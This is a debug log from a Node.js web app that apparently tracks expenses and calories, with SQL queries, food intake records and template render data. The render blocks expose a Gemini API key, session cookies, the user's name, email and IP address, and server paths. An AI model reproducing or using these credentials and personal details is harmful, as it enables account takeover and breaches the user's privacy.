    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-15T05:41:00.536Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-15T05:41:00.537Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-15T05:41:00.537Z server-connect:app Executing action step select
2025-12-15T05:41:00.537Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-15T05:41:00.538Z server-connect:output item_list: [
  {
    id: 390,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 1,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop (6.5 gm)',
    replacements: 'N/A (supplement with specific purpose, generally low calorie)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'Designed to enhance workout performance and focus. Generally low in calories and can be beneficial for intense training sessions for muscle development.'
  },
  {
    id: 391,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium (approx 118g)',
    replacements: 'Berries (strawberries, blueberries - lower sugar and calories),Apple,Orange',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of quick carbohydrates for immediate energy, potassium, and other micronutrients. Ideal for pre or post-workout fuel to support muscle development and recovery.'
  },
  {
    id: 392,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Roti (Whole Wheat Flatbread)',
    calories: 360,
    protein_gm: 12,
    carbs_gm: 72,
    fat_gm: 4,
    quantity: '4 pieces (approx 200g cooked weight)',
    replacements: 'Brown rice (complex carbs),Quinoa (complex carbs, higher protein),Oats (complex carbs, good fiber)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'A staple source of complex carbohydrates, providing sustained energy for daily activities and intense workouts. Essential for replenishing muscle glycogen stores for muscle growth.'
  },
  {
    id: 393,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Aalo Sabji (Potato Curry)',
    calories: 280,
    protein_gm: 4,
    carbs_gm: 40,
    fat_gm: 15,
    quantity: '1 serving (approx 200g)',
    replacements: 'Mixed vegetable sabji (more fiber, fewer calories from potatoes),Dal (lentil curry - higher protein, lower fat),Paneer sabji (for higher protein intake)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'Provides carbohydrates from potatoes and some healthy fats from cooking, contributing to energy needs. Can be made healthier by reducing oil content and adding more non-starchy vegetables.'
  },
  {
    id: 394,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Gulab Jamun',
    calories: 190,
    protein_gm: 2,
    carbs_gm: 30,
    fat_gm: 8,
    quantity: '1 piece (approx 40g)',
    replacements: 'Fresh fruit (e.g., berries, apple),Small piece of dark chocolate (70%+ cocoa),Greek yogurt with a touch of honey (higher protein, lower sugar)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 3,
    skip_reason: 'This dessert is high in refined sugar and unhealthy fats from deep frying, providing empty calories with minimal nutritional value. It can lead to blood sugar spikes and contributes to excess calorie intake, which is counterproductive for muscle development and overall health goals.'
  },
  {
    id: 395,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Buttermilk',
    calories: 76,
    protein_gm: 7,
    carbs_gm: 9,
    fat_gm: 2,
    quantity: '1 glass (approx 200ml)',
    replacements: 'Plain water,Unsweetened herbal tea,Diluted yogurt (without added sugar)',
    created_at: '2025-12-15T00:10:59.000Z',
    skip_level: 1,
    skip_reason: "Buttermilk (Chaas) is an excellent source of hydration, probiotics, and lean protein, especially if made from skimmed or low-fat curd. It's low in calories and supports digestion, which is beneficial for muscle development and overall gut health for someone with a desk job and active lifestyle."
  }
]
2025-12-15T05:41:00.538Z server-connect:app Executing action step setvalue
2025-12-15T05:41:00.538Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-15T05:41:00.538Z server-connect:output var_total: 1021
2025-12-15T05:41:00.538Z server-connect:app Executing action step setvalue
2025-12-15T05:41:00.538Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-15T05:41:00.538Z server-connect:output var_consumed: 43
2025-12-15T05:41:00.538Z server-connect:app Executing action step setvalue
2025-12-15T05:41:00.538Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-15T05:41:00.538Z server-connect:output var_deficit: 1379
2025-12-15T05:41:00.538Z server-connect:app Executing action step custom
2025-12-15T05:41:00.538Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-15T05:41:00.539Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '1021',
    surplus_or_deficit: '1379',
    status_flag: 2
  }
]
2025-12-15T07:10:55.958Z server-connect:router Serving templateView /calorie-tracker
2025-12-15T07:10:55.967Z server-connect:app Executing action step identify
2025-12-15T07:10:55.967Z server-connect:app options: { provider: 'security' }
2025-12-15T07:10:55.968Z server-connect:output identity: 1
2025-12-15T07:10:55.968Z server-connect:app Executing action step restrict
2025-12-15T07:10:55.968Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-15T07:10:55.976Z server-connect:output restrict: undefined
2025-12-15T07:10:55.976Z server-connect:router Render template layouts/main
2025-12-15T07:10:55.976Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    accept: '*/*',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ANbZhGcFQdHATh%2FkPVIN38Q%3D%3D.H2diUZZqiytFdmXLZvvIe%2FG3J6cHs%2F%2BDymM6FEvVHlzE83sP%2FnceQIJvHjTEgOONNaFCZ7SOSGsBixQK5eBkH0gV06eLHOa0cE2E3InUFNxakgjwnjt8EpeXeolsOOxccSCeuERBakmTNIcTuYCkCtnhtuJutXDFAcnEF8x2X7Y%3D.k%2FraLKmLLqJMgYfA5on0aHXMVQxAYKtHX8jjFQUTUhg; your_r_git.sid=s%3AYABZJyq7ULBN3h3Bgvb3C1RjEX_Xvftd.5y%2F6sJ%2BmXZg9lDS2RTNqKbwXt2Qgzpv4cev2BZe1qzA',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T05:39:35.012Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: '*/*',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ANbZhGcFQdHATh%2FkPVIN38Q%3D%3D.H2diUZZqiytFdmXLZvvIe%2FG3J6cHs%2F%2BDymM6FEvVHlzE83sP%2FnceQIJvHjTEgOONNaFCZ7SOSGsBixQK5eBkH0gV06eLHOa0cE2E3InUFNxakgjwnjt8EpeXeolsOOxccSCeuERBakmTNIcTuYCkCtnhtuJutXDFAcnEF8x2X7Y%3D.k%2FraLKmLLqJMgYfA5on0aHXMVQxAYKtHX8jjFQUTUhg; your_r_git.sid=s%3AYABZJyq7ULBN3h3Bgvb3C1RjEX_Xvftd.5y%2F6sJ%2BmXZg9lDS2RTNqKbwXt2Qgzpv4cev2BZe1qzA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-15T07:12:54.415Z server-connect:router Serving templateView /calorie-tracker
2025-12-15T07:12:54.415Z server-connect:app Executing action step identify
2025-12-15T07:12:54.415Z server-connect:app options: { provider: 'security' }
2025-12-15T07:12:54.415Z server-connect:output identity: 1
2025-12-15T07:12:54.415Z server-connect:app Executing action step restrict
2025-12-15T07:12:54.415Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-15T07:12:54.417Z server-connect:output restrict: undefined
2025-12-15T07:12:54.417Z server-connect:router Render template layouts/main
2025-12-15T07:12:54.417Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ANbZhGcFQdHATh%2FkPVIN38Q%3D%3D.H2diUZZqiytFdmXLZvvIe%2FG3J6cHs%2F%2BDymM6FEvVHlzE83sP%2FnceQIJvHjTEgOONNaFCZ7SOSGsBixQK5eBkH0gV06eLHOa0cE2E3InUFNxakgjwnjt8EpeXeolsOOxccSCeuERBakmTNIcTuYCkCtnhtuJutXDFAcnEF8x2X7Y%3D.k%2FraLKmLLqJMgYfA5on0aHXMVQxAYKtHX8jjFQUTUhg; your_r_git.sid=s%3AYABZJyq7ULBN3h3Bgvb3C1RjEX_Xvftd.5y%2F6sJ%2BmXZg9lDS2RTNqKbwXt2Qgzpv4cev2BZe1qzA',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T05:39:35.012Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ANbZhGcFQdHATh%2FkPVIN38Q%3D%3D.H2diUZZqiytFdmXLZvvIe%2FG3J6cHs%2F%2BDymM6FEvVHlzE83sP%2FnceQIJvHjTEgOONNaFCZ7SOSGsBixQK5eBkH0gV06eLHOa0cE2E3InUFNxakgjwnjt8EpeXeolsOOxccSCeuERBakmTNIcTuYCkCtnhtuJutXDFAcnEF8x2X7Y%3D.k%2FraLKmLLqJMgYfA5on0aHXMVQxAYKtHX8jjFQUTUhg; your_r_git.sid=s%3AYABZJyq7ULBN3h3Bgvb3C1RjEX_Xvftd.5y%2F6sJ%2BmXZg9lDS2RTNqKbwXt2Qgzpv4cev2BZe1qzA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-15T07:12:55.193Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-15T07:12:55.194Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-15T07:12:55.195Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-15T07:12:55.195Z server-connect:app Executing action step identify
2025-12-15T07:12:55.195Z server-connect:app options: { provider: 'security' }
2025-12-15T07:12:55.195Z server-connect:output identity: 1
2025-12-15T07:12:55.195Z server-connect:app Executing action step restrict
2025-12-15T07:12:55.195Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T07:12:55.195Z server-connect:app Executing action step identify
2025-12-15T07:12:55.195Z server-connect:app options: { provider: 'security' }
2025-12-15T07:12:55.196Z server-connect:output identity: 1
2025-12-15T07:12:55.196Z server-connect:app Executing action step restrict
2025-12-15T07:12:55.196Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T07:12:55.196Z server-connect:output restrict: undefined
2025-12-15T07:12:55.196Z server-connect:app Executing action step select
2025-12-15T07:12:55.196Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-15T07:12:55.196Z server-connect:app Executing action step identify
2025-12-15T07:12:55.196Z server-connect:app options: { provider: 'security' }
2025-12-15T07:12:55.196Z server-connect:output identity: 1
2025-12-15T07:12:55.197Z server-connect:app Executing action step restrict
2025-12-15T07:12:55.197Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T07:12:55.197Z server-connect:output restrict: undefined
2025-12-15T07:12:55.197Z server-connect:app Executing action step single
2025-12-15T07:12:55.197Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-15T07:12:55.197Z server-connect:output restrict: undefined
